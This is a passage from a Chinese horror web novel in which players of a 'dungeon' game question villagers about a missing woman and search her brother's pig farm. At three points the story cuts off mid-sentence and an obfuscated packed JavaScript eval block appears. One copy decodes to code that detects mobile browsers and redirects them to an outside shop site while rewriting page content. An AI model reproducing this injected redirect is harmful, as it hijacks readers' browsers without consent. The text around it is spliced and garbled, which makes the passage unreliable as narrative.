“也不需要太清，就把你知道的告诉我们就行。” 黄忠贵面上闪过挣扎，叹了口气。 “黄家兄妹五个，由一个寡妇老娘拉拔长大。一家六口日子虽然过得苦巴巴的，感情却是好得很。前些年，黄家老大黄毅搞养猪场发了财，黄家老四，也就是玲花运气好，嫁给了县城里的大学生。这些年，黄家兄妹的日子也慢慢好起来，就黄家老二老三日子差点，但比村里其他人就好得多。” “玲花嫁到县城以后就很少回娘家了。每年也就中秋端午回来一次，过年之前给她娘买点东西。其他时候都在城里呆着。听村里人说嘴，说玲花嫁进城里后心变硬了不少，跟兄弟之间也不似小时候亲密。不过我倒觉得还好，前不久还见玲花大包小包去她大哥家吃饭，我瞧着兄妹关系还行，毕竟长大成家了，都有自己的家庭，自然不能像小时候那样念着。在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她目光害怕地看着浓厚的夜色，发白的脸色，看起来弱不经风。此时，她眼神躲闪地不看梁琼，细声细气地表明自己晚上只想休息，不想出去探查。 王慧一说完，其他人面面相觑，态度也出现了犹豫。 “霍警官，要不你们去吧？有什么线索，我们也能帮着一起分析。但现在，我们是真没有体力了……” 郑君怡可怜巴巴地看着霍张。 她年纪不大，才十七岁。面对跟自己父亲一样大的霍张，习惯性地摆出了撒娇的姿态。她不管梁琼说了今晚是最适合调查的时间段，她太害怕了。又害怕又累，她现在什么都不想做。只想找个地方躲起来，等七天熬过去。最好别人把任务都做完她躺赢，就像她过第一个副本那样。 “你是想白嫖吧！”梁琼一瞬间就火了，讽刺道：“我们冒死搜集线索回来找你分析？你想得到美！” “我们不是一个团队吗？再说，你都说了今晚平安夜，怎么就冒死搜集线索？” 王慧被戳穿了当即面红耳赤。 “不会丧命不代表不会受伤！你……” “行了，她们不去就随她们，”霍张倒是无所谓，副本之中尊重他人选择。他看向易礼和没说话的中年夫妻：“你们呢？” “我们还有别的事，就不跟你们一起。”害怕当然也害怕，但什么都不做肯定是不行的。中年夫妻对视一眼，拒绝了霍张。 “也行，那大家就分头行动。” 霍张说完，易礼穿好了草鞋，三个人准备走。 这时，四个高中生里的一个瘦高个男生突然走出来：“我想跟你们一起。” 四个高中生明显是一起的，刚才郑君怡拒绝离开招待所时没说话。现在瘦高个男生突然离队，其他三个人顿时面露紧张。但瘦高个男生声称自己饿了，要吃饭。 其他人掏了兜，什么吃的都没有，只能作罢。 一行九个人分成了三组。三个高中生见赵青，也就是瘦高个男生非要出去，也不管她了。打了哈欠就去找自己的房间。那对中年夫妻拿着钥匙就走了。 霍张基于警察的职业操守嘱咐所有人注意安全。已经冲出雨幕的两人敷衍地应了。 见状，霍张也没再说。 “走吧。” 几人到食堂时，后厨还没熄灯。 灯光昏暗，像是七八十年代的老电灯泡，照出来的人都有重影。风一吹，还滋啦滋啦的闪烁。这灯光，真的很有一种荒村鬼屋的既视感。易礼抬头在桌子上擦了一下，一层厚厚的灰尘和油污。 看得出来，确实很久没用了，新打扫出来的。 后厨的食材都扔在框里，米和油都有。在场几个人都不会做饭，梁琼只会做蛋炒饭。 “那就吃炒饭，垫个肚子就行。” 其他人当然没意见。 霍张拿了手电筒，去食堂附近转转。易礼留下来帮梁琼。不过显然梁琼不领情，只想跟她保持距离。 易礼耸耸肩，这姐姐还当她是鬼怪呢…… 几人回来，蛋炒饭正好炒好。 四人坐下吃饭，易礼饿狠了，吃的很快。其他人心事重重，即便很饿也没什么胃口。霍张看易礼吃得香，忍不住笑：“你到底是哪里人，小姑娘家家的怎么养成这种性格？” “我W市的，从小在孤儿院长大。”易礼装作没看见梁琼竖起耳朵的模样，一脸没心机的说：“我们太阳花孤儿院资金有限，但孩子很多。没办法，人多就得吃快点，不然容易饿肚子。” 易礼这话说完，梁琼看她眼神顺眼了一点。怪不得是这种古怪性格，原来是个可怜孤儿。 易礼心里好笑，这姐姐看着不好相处，心还蛮软的。 忽地，身后那种被人窥视的感觉更强烈了。 易礼咀嚼的动作一顿。 她迅速一回头，看向窗户。只见窗外倏地电光一闪，雷声轰鸣，一张干瘦苍老的脸印在玻璃上。 4. 第四章 易礼瞳孔猛地一缩，下意识地放下筷子追过去。 她突然的动作吓了吃饭的其他人一跳。 “怎么了？” “没事，好像看到窗外有人。” “有人？哪里？” “那个窗。”易礼指着靠近后厨的玻璃窗，这会儿已经没东西了。 霍张不放心，掏出手电筒照过去。梁琼放下碗筷，几个人走到窗户跟前，透过窗户往外看。食堂的后院是一个破旧的院子。低矮的围墙估计只有一米三左右，杂草丛生，荒废得不像样。草地上没有脚踩过的痕迹，大概率是没人。 不过，这种荒凉的地方，就算没东西，也让人感觉不适。 “什么都没有，看错了吧？”赵青的嘴唇白得像纸：“今天是阴雨天，雾气很大，偶尔玻璃上出现奇怪的花纹也不奇怪。” 不可能。易礼的视力是非常好的。刚才那张脸的五官她都记得，不可能看错。 不过看赵青快吓厥过去的样子，易礼没说话。 梁琼和霍张对视一眼，神色凝重。 气氛安静了。 “要不……都别吃了，咱回去？” 霍张思索了几秒，摇头：“这才第一天，就算有东西跟着，情况也没那么糟。A级本的难度确实比较高，但也不是必死局。不要太紧绷，想办法弄明白它为什么出现才是关键。换个角度想，那东西若真第一天就盯上咱们，等于给了我们时间琢磨出规律。还有六天呢，不吃饱，死得更快。” 道理是这样没错，能不能做到就得分人了。毕竟不是谁都有这么好的心理素质。 赵青本就胃口不好，被这么一吓，现在什么都吃不下。梁琼也是，胆战心惊地吃了半碗。只有霍张跟易礼没受影响，一大碗饭全吃完了。 “大家都检查下，看身上有没有带什么不应该带的东西。” 其他人的行李很少，除了防身的武器和一些基本的常备药，别的什么都没有。众人将东西拿出来，看向易礼。易礼有些尴尬，她腰包里除了一把奇怪的骷髅钥匙，几个钢镚，还有她爹的骨灰…… “这是什么？” “我爸的骨灰。” “哦，对不起。不过为什么是金色的？” “大概因为他是一个高僧？哈哈，我开玩笑，他其实是重金属中毒死的。” “……” 虽然说易礼的东西有些小众，但大概率吸引那东西的不是她爹的骨灰。那就只能是食堂里本身就有的。霍张做了判断，毕竟从未听说鬼怪会对外界骨灰感兴趣。 见霍张起身，赵青和梁琼也站起身要走，却被易礼出言阻止。 “哎等等，我建议你俩吃完。” “现在都什么时候了还管吃饭？我吃不下……” “还是吃完比较好的。” 目前来说，他们算一个团队。易礼作为一个需要借助他们的大巴离开此地的新人，是极不希望看到队伍减员的：“虽说我不是很了解你们所说的副本规则，但刚才那个叫黄忠贵的村主任已经明确提示过，村民种菜不易，不能浪费粮食。我觉得在别人的地盘上，最好还是遵守规则。” 一句话，两人如置冰窖。 霍张眉头瞬间蹙起，看了一眼易礼，立即做了决定：“吃完再走。” 两人被易礼的假设吓得不轻，吃不下也尽量把饭全塞进肚子里。 确实，有的时候，NPC一句看似不经意的话，极有可能隐藏着至关重要的信息。被易礼提醒，他们才回想起刚才黄忠贵的那些提醒。每句话听起来都像是旅馆的温馨提示，但仔细一想，却有那么点细思极恐的意思。几人不禁汗湿了后背。 等从食堂出来，赵青的脸就有点青。 他捂着肚子，硬忍着没吐。高压对他的肠胃造成了负担，他消化不良了。不过现在不是矫情的时候，不影响行动就忍着。 霍张看了下时间，离凌晨十二点还有一个半小时。 正常来说，这个时间，应该休息了。但这是副本唯一的平安夜，用来休息，实在太暴殄天物。副本给了任务却不会给地图，黄冥村的地图只有自己去摸。 “已经踩过点的地方，可以不用再去。抓紧时间去未探索区域搜查。”霍张道：“从已知的消息里得到最多的提示就是养猪场。今晚，先去养猪场。” 易礼没意见，赵青有点害怕，但既然选择跟大部队，最好不要半途掉队。 …… 养猪场在村子南边。真走过来就会发现，养猪场离后山不过一两里路。 这么近的距离，四人站在半人高的草丛中看着灯火通明的养猪场想起黄忠贵说山上有野狼，不由眉头蹙起：“大晚上的，他要给他的猪崽日光浴吗？灯开这么亮……” 赵青断定：“要么，黄忠贵不老实，没说实话。要么，养猪场有问题。” 是不是老实暂时不考究，这个养猪场看起来问题确实不小。 “村委应该没说谎，但他知道的不一定就是事实。许多事情只是传言，不好说。” 他看向易礼：“你当时下山走得哪条路？” 易礼摇了摇头：“我被鬼打墙了，方向不一定是正确的。不过根据我最后的记忆，应该就在那里。” 易礼指向养猪场的西南角，此时夜深，山头上放眼望去全都是树，黑洞洞的连月光都照不进去。她其实不太记得山里的情形，有没有遇到什么古怪的东西，很难说。因为就算遇到了，她只会以为是废墟宫殿里那只蝙蝠怪发出的动静。 “霍哥，咱们怎么过去？” “直接过去敲门。”霍张从背包里拿出备用手电筒递过去，掏出证件：“我们身份是警察，警察办案，合法合规。” 差点忘了，这位是正宗的刑警。有过二十年办案经验的那种。 这个村子的地势要比养猪场高个一米二左右。下面有个陡坡，陡坡与山脚谷地之间挖了一条水沟，估计是养殖场用来排废水的。水质深黑，散发着浓浓的腐臭味。哪怕雨一直下，也没能冲刷干净这股难闻的味道。 “猪屎猪废水的味道真的这么难闻么？”赵青忍不住捂住鼻子：“我快不能呼吸了。” “这沟里应该不止有猪屎和养猪场废水，平常宰杀猪时，血水和生肉杂碎应该也一起倒进这条沟里了。”霍张很有经验的解释道：“类似于这种让人闻着就生理性厌恶的味道，大概率是生肉烂掉散发出来的……” 他话说到这，几个人突然齐齐一顿。 赵青吞了口口水：“哎你们说，黄玲花有没有可能不是失踪，而是死了？” 说着，他的目光看向脚下的臭水沟。 “如果黄玲花并非失踪而是被杀，尸体被砍成碎块，跟猪下水一起搅碎倒进臭水沟，一般人是很难发现的。”尤其他们所在的山村很闭塞，且作为警察来办失踪案的他们，其实并非专业刑警和法医，更没有所需的专业试剂。就算水沟里有东西，他们也查不出来。 毕竟要分辨是人肉还是猪肉，需要法医实验室做专门的分子生物学检验。 几人沉默了几息，梁琼觉得情况大概率没那么遭：“那黄忠贵不是说他们兄妹感情挺好的？况且，也没听说他们有过什么不可调和的矛盾。” 那可说不准。有时候激情杀人也就是一瞬间的事，跟感情深不深可没有多大关系。 当然，这些话就现在没必要说，证据不足，说什么都是猜测。 几人迅速靠近养猪场的大门。 霍张看着面前长满锈斑的蓝色铁门，上前敲了敲门。 嘟嘟两声，在黑夜中独栋的小院响起，显得格外阴森恐怖。院子里安静无声，仿佛没有人在。 霍张皱了皱眉，又上前敲了两下。 等了许久，门后面才听到沉重的脚步声。他没有开门，站在门内小声地询问来人是谁。 “我们是镇上刑警大队的，接到黄玲花丈夫的报案，来黄冥村调查黄玲花失踪一案。”霍张熟门熟路地开口：“有些事情想跟你了解一下，麻烦你开一下门。” 里面的人听到他这么说，将门开了一条小缝。 透过小缝，看清楚里面是一个头发稀疏的中年男人。中等身高，肚子比较大，看起来有些笨拙的样子。他额头包着纱布，有红褐色的血迹渗透出来，肥胖的脸色很不好看，月光下白惨惨的，眼神却黑洞洞。 跟黄忠贵一样，整个人透着一股不健康的苍白，仿佛生了重病。 “你是黄毅么？” 霍张从口袋里掏出他的证件，展示给黄毅看。 黄毅那呆滞的眼珠子这才闪烁了一下，仿佛一下子清醒过来似的，脸上恢复了血色。 他目光在梁琼脸上绕了一圈，转身打开了门。 “进来吧。” 几人进了院子，感觉空气中的臭味更浓了。 仿佛有一个无形的瓮，将整个养猪场给闷在其中似的。一股腐烂到发酵的怪味，闷得人喘不上来气。赵青憋得脸都紫了，旁边梁琼也够呛。倒是易礼和霍张一脸寻常。 霍张是因为经手的刑事案件多，各种凶案现场经常去。易礼纯粹胆大，虽然不去凶案现场，但也差不多。 易礼过于平淡的表现，让霍张忍不住多看了她几眼。 黄毅将她们领到休息区。 这个地方外面看不大，进来后才发现着实不小。光是员工宿舍都有七间，还配备了食堂和员工娱乐广场。黄毅领他们坐下的地方，就是正中间的娱乐广场。 这个点，食堂阿姨早就下班了。黄毅自己慢吞吞地给每人都倒了一杯茶水。 “养猪场一般都是封闭式管理，不接待外人的。”黄毅说话语速很慢，整个人呈现出一种神游的迟钝：“但事关四妹，我也只能破例让各位警官进来。” “养猪场封闭式管理？”这种说法，赵青第一次听说。 他以为养猪场，就是有个养殖户喂养一群到处乱拱的小猪。等猪长大了以后，把它们全赶到野外没人的荒地去散养，然后天黑以后再赶回猪圈关起来。想象中就是一个脏兮兮的猪棚，一群屎尿乱喷的猪，再加一个铁锹铲屎的养殖户，这就是他们进来之前的所有想象。 但此时，除了霍张，就连易礼都对这个养猪场的现代化感到讶异。黄毅的养猪场区域分隔合理，竟然还配备了消毒室，看起来挺科学干净的。 “这位警官你说笑了，这年头我们养猪都很讲究的。不仅要跟外头做好隔离，还要经常性的对猪场进行消毒处理，以此杜绝外来人进出猪场。毕竟猪也是很脆弱的，尤其是养猪场的猪崽。要防止一个不小心外头的人把病毒带进来感染我的猪。否则只要有一头猪染病，整个猪场都要病完了。” 黄毅的话从侧面解释了村里的传闻。他不希望村里人来养猪场附近，应该就是怕病毒。 “不知道警官们深夜来找我，是想了解什么。” 黄毅说话的语速虽然缓慢，但做事倒是挺讲效率的。此时知晓了他们的身份，连寒暄都省了，坐下就直入正题。 霍张的眼神闪烁了下，很快就面带笑容：“是这样的黄先生，据黄玲花丈夫提供的消息。黄玲花女士在失踪前，曾来过黄冥村的娘家。她那天是什么时候到的？来娘家做什么？见了什么人？有没有跟谁发生过争执？她最后到底有没有离开过村子？若是离开了，大概什么是时候……你有什么信息能提供给我们，就尽量说的详细些。” “那天是中秋节前一天，玲花是专门从城里回来陪我们过中秋的。” 黄毅提到此事脸色一瞬间晦暗，情绪颓靡，仿佛十分痛苦：“那天天气不好，天没亮就开始下雨。玲花一大早就坐车回了村里。具体什么时间点，我也说不准，估算的话，大约是早上七点左右。她到了村里，先去了老小家里。 玲花是老四，跟我这个做大哥的年纪差得比较大，她从小跟老小关系最亲。 也不晓得是不是跟老小拌了嘴，还是老小跟她说了什么。她当时就放下东西，气呼呼的就拉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673761|188643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老小去找老二和老三。我人在养猪场，十天半个月都不出去一回。都不清楚发生了什么事。等我得了信儿，玲花气得说中秋也不在家过了，要回城里。 老二老三那个拦啊，非要她留下来过节。怎么都不愿叫她走了。” 黄毅端着茶杯，目光沉沉地凝视着茶杯里漂浮的茶梗，“老二老三的想法我也理解，毕竟这大过节的，亲兄妹吵两句嘴得了，哪里真能撕破脸？村里人一听玲花跟兄弟几个闹起来，连忙就来养猪场寻我。我去后才知道，玲花是为着去年过年我娘去世的事闹呢……” “你娘去世了？”霍张捕捉到一个信息点。 “我那寡母老娘去年过年走得，去世的时候正好七十九。这个年纪就算不是高寿，也算寿终正寝。” 黄毅提到母亲，脸色更灰暗了，仿佛沉浸在悲伤之中无法自拔：“玲花就是可怜我那寡母。说我母亲走得时候，瘦得浑身没几两肉。一定是我们兄弟没照顾好我娘。她哭这么多年老娘一个人拉拔我们兄妹五个长大，半点好日子没过过。我觉着，兴许是老天都可怜我那寡母，叫我娘走的很快，一晚上人就没了，都没受什么痛苦。 可我那妹妹跟母亲感情深，母亲走后她心里一直有疙瘩。怪几个兄弟没用，没挣到大钱叫娘活着享福。中秋本来是团圆的日子，结果提到苦命的老娘又闹得不愉快。玲花怪我们啊……” 黄毅这话说完，室内安静无声。 梁琼跟霍张对视了一眼，追问道：“那后来呢？” “后来我去两头劝，玲花才愿意跟兄弟几个好好说话。她这十年在城里过得好，哪里晓得黄家几个兄弟日子都不好过？尤其老二老三家里孩子多，拿不出钱也没办法。” 黄毅说到这，停顿了下，又道：“玲花心情不好，就没留着过夜。天擦黑就走了。那天下雨，天黑得早，要我说准确时间我也说不准，大概下午五点多钟的样子。” “你确定她走了？” “……我也说不准。” 黄毅为难道：“那天我跟老二几个喝了酒，早早就回养猪场了。我走之前，玲花就说要走。我估摸着她要是走，应该就是那个点，才说的五点多钟。后来玲花的男人来找她，我才知道玲花没回去。问过老二老三，他们都说玲花确实那天天擦黑就走了。老小还给送了节礼。” “节礼？大概是什么节礼？” “就几条烟，一瓶白酒。还有我养猪场的一些肉。” 黄毅说着，眼睛又红了：“警官，你们是确定玲花已经失踪了么？还是说只是怀疑？警局有没有派人去山里找过？会不会她天黑走山路，摔山沟里了？” “你自己没安排人找？”梁琼忍不住插了一嘴，“我看你作为大哥，好像一点不着急？” “我怎么可能不急！老二老三找人都找疯了！这不是没找到么！” 黄毅立马拍了桌子站起来，辩驳道：“再说，玲花从小在村里长大，她对村里村外熟的不得了。去她熟悉的地方没找到人，我们就以为她回城里了。哪想到玲花男人报警了，非说玲花在村子里失踪……我们几个亲哥哥，难道还能害自己从小一起长大的亲妹妹？” 他这么激动，仿佛受到侮辱，梁琼有些讪讪，头扭过去。 霍张连忙安抚他的情绪，问起了别的：“我们这才来，这都是例行问话，没有恶意。黄先生你先别激动，坐下说。对了，我听村委说咱们这后头的山里有野狼，经常下山吃人，是不是真的？” “野狼？”黄毅眼神闪烁了下，眼神略显出几分怪异。 他立即摇头，否认道：“我在这山脚下开养猪场都几年了，都没见过狼。不过山里确实有些野兽，经常夜里饿极了会下山。吃人到也不至于那么凶，咬人是有过的。” “什么野兽？” “这我就不清楚了。”黄毅摇头：“我常年在养猪场里待着，都不出去，没见过。” 几人沉吟时，正在附近逛的易礼走回来。 她刚才在走动，其实也在听。 易礼从小不仅视力好，运动素质强，她耳力也非同一般。黄毅与霍张的对话她全都听在耳中，她眼波流转，指着食堂后方一块空白区域询问黄毅：“那一块区域被分出来是做什么呢？” “哪里？哦，那块区域啊，那里是无害化处理区。” 黄毅像是知道他们会问似的，立即解释道：“养猪也是有风险的。我们喂养的猪，就算照顾得再好，也免不了会有病猪和意外死亡的猪。这些猪都是不能卖到市场上去的，猪肉会检验不合格。通常这些死猪的尸体，就要做无害化处理。不然会污染整个养猪场的环境。” “哦？”易礼仿佛一个不懂事的新人，追问道：“都怎么进行无害化处理？用大型绞肉机么？” 黄毅眼眸低垂，点点头：“掩埋法和化制法都不合适，掩埋需要的时间太长，况且我这养猪场附近有个水井，平常员工吃用水都来自那口井。怕掩埋尸体会害了水井的水质。二来化制法，哦，化制法就是利用焚烧炉，高温高压灭菌。但这东西的器材太贵了，我这种小型猪场用不起。我一般用生物降解。” “这样啊，能带我去看看嘛？” “现在？” “不方便？”易礼笑得天真单纯：“我就是有点好奇。” 黄毅神色不定，目光在易礼和霍张脸上来回。 顿了顿，他深吸一口气，还是带几人去了无害化处理区域。 推开门，是一个一百多平米的空旷区域。没有屋顶，只有几个搭建得比较简易的棚户。其中有个比较大的棚户中放置了一个超大的绞肉机。 易礼不顾熏天的气味走近，绕着绞肉机走了一圈，看向黄毅。 “好大的绞肉机，直径竟然有两米呢。” 她半开玩笑的说了一句：“这个直径，扔个人进去，也能几分钟内绞成碎渣吧？” 一句话，鸦雀无声。 黄毅的脸色瞬间难看起来：“这位警官，你这话什么意思！” 5. 第五章 “黄先生，你不要激动，我没有恶意。” 易礼并未被黄毅突然的愤怒和指责吓到，她冷静地指出：“我当然相信你们兄妹情深，也能理解兄妹之间的拌嘴。只是第一次看到这么大的绞肉机，有些惊讶而已。” 易礼的解释并没有让黄毅平静下来。 他仿佛受到极大的冒犯，咻咻喘着粗气，并当场就要求结束参观。 他并非确定的嫌疑人，黄玲花也没有确定死亡，就算他们拥有刑警的身份，也不能强迫NPC配合。 几人面面相觑，只能悻悻。 等再次回到中心娱乐区，气氛就没有刚才的融洽。 “警官还想问什么？” 沉默将近一分钟，黄毅才主动开口。 “关于中秋那天的事，我们已经清楚了。”霍张指了指自己的额头，“你头上是怎么回事？” “这跟玲花失踪没关系吧？”黄毅态度变得抗拒：“玲花失踪都半个月了，我这伤口还是新鲜的。你们总不会又怀疑我跟她起争执弄的吧？” “当然不会。正常来说，伤口三天就会长出新鲜的肉芽组织。你额头还在渗血，一看就是新伤。警察都知道一些基础知识，黄先生你不用太激动。” 黄毅深深地看着他：“几天前起夜，不小心撞到柱子上了。” “那你撞得可够狠的啊……” 黄毅看了赵青一眼。 “黄鹏，黄志，黄宝，他们分别做什么营生？” “老二跟老三合伙在后山承包了一个山头种树。老小好吃懒做，什么正经事不干。就种着老娘留下的三亩田，勉强糊口。” “这么说，黄宝家里最困难？” “他最困难是他活该！当年分家的时候，家里那些田产可都留给他了。我们上头三个大的，一人只分了一间屋子。现在日子慢慢挣出来了，老小反倒最穷困，不都是他自己懒的！” 说话时，黄毅一边看墙上的挂钟一边抠手背，仿佛手背很痒的样子。 易礼瞥了眼他的手。 黄毅若有所觉，立即就将手塞进口袋。 时间一分一秒的过去，眼看就要十二点。在确定问不出别的信息后，他们只能先离开。黄毅看他们终于要走，松了口气：“我送你们出去吧。” 他们刚出来，身后铁门就啪嗒一声锁上。 “黄家四兄弟没有看起来那么和睦，老大有钱置办这么大的养猪场。老二老三没占到好处，肯定心中不平衡。还有那个老小，鼓动黄玲花去跟老二老三闹，心思也不单纯……” 赵青皱着眉低嘀咕，被易礼撞了一下的胳膊。 他不解，正要开口，发现身后蓝色铁门的缝隙里隐约有影子在晃动，顿时噤了声。 那胖子没走，正在门后头站着呢。 易礼跟霍张使了个眼色，霍张摇了摇头。黄毅身上有古怪没错，但没见过黄家其他兄弟之前，信息都是片面的。等明天问过其他人再说。 “雨好像越下越大了。”梁琼抬头看着天，她这次没带雨具，此时浑身都湿透了：“这个村子的人脸色都很怪。乍一看，跟生了重病似的。” “不仅脸色差，嘴里还散发一股腐臭的味道。”赵青捏着鼻子。 霍张打着手电筒走在前面，易礼走在最后。几人绕过养猪场前门，准备回招待所。 夜色正浓，浓得跟什么东西将这个村子给死死罩住似的，叫人逃不出去。几人正准快步进村，在小巷子口踏上土台阶，远处村子里却传来了一个男人鸡皮疙瘩起一身的惨叫声！ 那惨叫声摄人心魄，极其惨烈，一瞬间就激得几人变了脸色。 梁琼立即掏出折叠刀，霍张竟从腰后捞出一把枪。 赵青脸色惨白，看向迅速靠近的易礼。四个人立即缩小范围，面朝四个方向。 “怎么回事？不是说今晚平安夜么？” “平安夜没错，但不代表不会被鬼袭击。”梁琼声音压得很低：“如果遇到大凶的本，也有开场就挂彩的。现在看来，咱们的运气实在是差。” 赵青腿肚子开始打颤。他这么倒霉的，第二个本就遇上大凶本啦？ “也许不是鬼，是人也不一定。” 易礼夜视能力很强，离得远，她清楚地看见一个黑影从村子里中段一个荒废的院子里冲出来。一边踉踉跄跄的跑一边大声求救。 可整个村子安静得就像没有人一样，一片死寂。 冰冷的月光夹杂冷雨，那个黑影跌跌撞撞，跑得不算快。 那人的两只手在半空中异变，变成了细长狰狞的爪子，正不停地在自己的喉咙里抠挖着，仿佛有什么可怕的东西钻进了他的肚子里…… “救命——呕——救救我——” “是老葛。”赵青直打哆嗦：“他不是跟他老婆……他干什么了变成这样……他老婆呢？” “该死的！一看就是拿了不该拿的东西！” 梁琼暗骂了一声，菜鸟就是这样，总以为自己是天命之子。看到什么好东西就想据为己有，也不看自己有没有命拿！ “现在怎么办？咱们救他吗？” “救什么救！等他把那东西带过来，咱们跟他一起死！” “快！找地方躲，他朝我们这个方向过来了！”霍张当机立断：“所有人，躲回养猪场。” …… 大门已经关起来了，几人迅速绕到了养猪场的后方。 养猪场外围是一圈半人高的荆棘矮灌木，被雨水浇得湿淋淋。地上烂泥散发出一股又腥又臭的腐烂味道，比村子里的黄泥巴还要粘脚。易礼行动敏捷，其他人就没有这么灵活了。一边打滑一边跑。尤其赵青，看得出来运动细胞很不发达。 他几次都要摔倒，都是易礼半路折回来给他拖起来。 霍张和梁琼速度快，此时已经从另一个方向绕过去，眨眼的功夫不见了。易礼暗骂了一句遭，要不是怕落单了被袭击，真想扔下这个累赘。 “这边！员工宿舍区。” 刚才在养猪场内，她已经摸清了方位。此时立即就找到能够进入内部的位置。 借着树的遮掩，朝后头的赵青招手。 赵青手软脚软，都快被吓破胆。生死关头倒是迸发出一股力气，总算翻过了灌木。 两人迅速靠近员工宿舍区域，易礼眼观六路耳听八方。手轻轻地推后窗，看有没有能打开的。然而推半天，窗户要么上锁，要么被东西给堵死了。 摸了几分钟，易礼才在第三个窗户蹲下来。 她让赵青盯着，自己则观察窗户。窗户是那种旧社会的支摘窗型，里面带栓。易礼从头发上取下一个发卡，趴在下面就开始捣鼓。 “搞快点！搞快点，他要过来了！” 赵青不停地回头看，冷汗一股一股地往下流，脸色比鬼都惨白。 比起易礼，赵青多少也算是有点经验的。然而遇到危机情况，表现得还不如易礼冷静。急躁低吼：“你行不行啊？不行让我来！” “别说话！” 就听咔嚓一声，里面的窗栓掉了。 易礼小心地推起窗户，猫一样地翻进去。 赵青也想学她，结果翻的时候才发现自己有多笨重。要不是易礼给他一把薅起来，他估计要砸地上发出巨响。吞了口口水，他屏息小心地爬起来。易礼已经关上了窗户。 “呼——呼——” 赵青大喘气，却被易礼一把捂住了嘴。她右手食指竖在嘴前，比了个‘嘘’的姿势。 赵青惊魂未定地点了点头，两人彻底安静下来。 员工宿舍与外面只有一墙之隔，且这个窗户也不见得就那么牢靠。如果外头的东西力大无穷，他们不见得能逃过去。 惨叫声却越来越近，像是在两人耳边嘶吼一样。两人屏息蜷缩在窗户下方，易礼的眼睛却在迅速地观察地形。 万幸，窗外的那东西似乎遵循了什么规则，不能强行闯入房间。关闭的窗户没有被推开的迹象，四周突然就安静下来。 “走了吗？”许久，赵青忍不住用嘴型问。 易礼摇了摇头，指着地上的影子。 这个房间没开灯，月光透过窗户照进宿舍，在地上映出一个方形的光影。此时，光影之中，一个扭曲的黑影正赫然映在其中。 赵青吓得唇色惨白，连呼吸都不敢发出声响。 那黑影在窗前趴了很久，在确定屋子里没人看到它后，才悄无声息地离去。 赵青瞳孔地震地盯着影子消失，正要大喘气，又被易礼给捂住了嘴。 易礼再一次指向地面，黑影又出现了。 这次，黑影占据的面积更大，仿佛整个身体都盘踞到了窗户上。 竟然杀了个回马枪！！！ 不是说这东西几乎没有智力么？竟还知道虚晃一枪，霍张的情报到底靠不靠谱的！ 心里一万句卧槽奔腾。不过易礼和赵青两人始终蜷缩在窗户下方，躲在了完全的视角盲区。 窗外那盯了很久，最终确定没人才真离去。 赵青整个人仿佛从水里捞出来的一样，哪怕易礼告诉他那东西走了，他还是不放心。 看他缓不过来，易礼也不管他了。迅速检查起这间宿舍。 听黄毅说过，他的养猪场里一共有包括他自己在内的七位员工。正常来说，这个房间应该有人在休息才对。但他们撬窗到翻进来，没有惊动任何人。摸了下床铺，热的，不久前有人睡。她目光往床下扫了一眼，没人藏床底，但角落却有一双沾满了泥土和青苔的鞋。 “你在干什么？”缓了这么久，赵青总算缓过神。 “我在搜集线索。” “这里能有什么线索？” 赵青还是不放心窗户，从旁边挪了一个架子把窗户给堵起来。 “这里有没有线索，你不会自己看？” 易礼拿着床头的相框看了许久，又将它重新盖回桌上。 赵青不知道她到底在看什么，也将相框反过来。这是一个非常七八十年代的拼接相框，里面有无数个两寸四寸的旧照片，其中好几张全家福还是黑白的。甚至有几张照片都黑得看不清里面的人像。 赵青眉头皱得紧紧的，实在看不出照片有什么特别的叫易礼看那么久。 转头就发现，易礼跟久经沙场的老贼偷似的迅速开始翻箱倒柜。那熟练的操作，看得赵青瞠目结舌。 “还愣着干什么？把地上的脚印清理干净！” “啊？” “啊什么啊？你不怕有鬼怪是靠脚印找人么？” 一句话，说的赵青汗毛倒竖。 别说，你还真别说！如果真有，那就不是恐怖片了，那是死亡终结篇。他回头看着乱糟糟的脚印，立即把抱怨咽回肚子里。 易礼手脚灵敏，打开抽屉都能做到寂静无声。 月光从窗外照进来，书桌前特别亮堂。她手里正拿着一本皱巴巴的东西正飞快地翻动，那速度跟扫描似的。 “你之前说你在现代社会做什么的？” “捡垃圾啊。” “我看你不是捡垃圾，你是专业走空门的吧？”被易礼当成使唤的工具人，他实在没好气地怀疑易礼就不是个正经人。 “偶尔兼职。”易礼无所谓。 “你还真是走空门的？”赵青傻了。 “我开玩笑的，你看不出来？我正经挖墓人！” “嗯？你刚才说什么？” “我什么都没说。” 说起来也怪，这明明是个养猪场的员工宿舍，却什么都有。 桌子上有摊开的饭盒，食物还很新鲜，应该是中午或者晚上才做好的饭菜。垃圾桶里几张揉皱的报纸，打开看，全是寻找黄玲花的寻人启事。 易礼挑了挑眉，撬开了抽屉，里面是一堆票据。往下翻，有两本手写的账簿。除此之外，还发现了一本老旧的手写笔记本和几个存折。打开看，存折的所有人是一个叫吴芳的女人，存款都被取走了。最新的取款记录是去年十二月六号。 赵青一脸诡异地盯着翻箱倒柜的易礼，迅速将地上脚印擦干净。 易礼翻完了抽屉掀床底，掀完床底又开始敲墙。 赵青刚想讽刺她一句这不是剧本杀道具现场，不可能真有人把东西藏墙缝里。就发现易礼从墙上抠出了一大块石砖，然后在里面找到了一个旧符纸。 “这是什么？护身符？副本里的鬼怪能被护身符驱走吗？” “大概是能的。”赵青一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 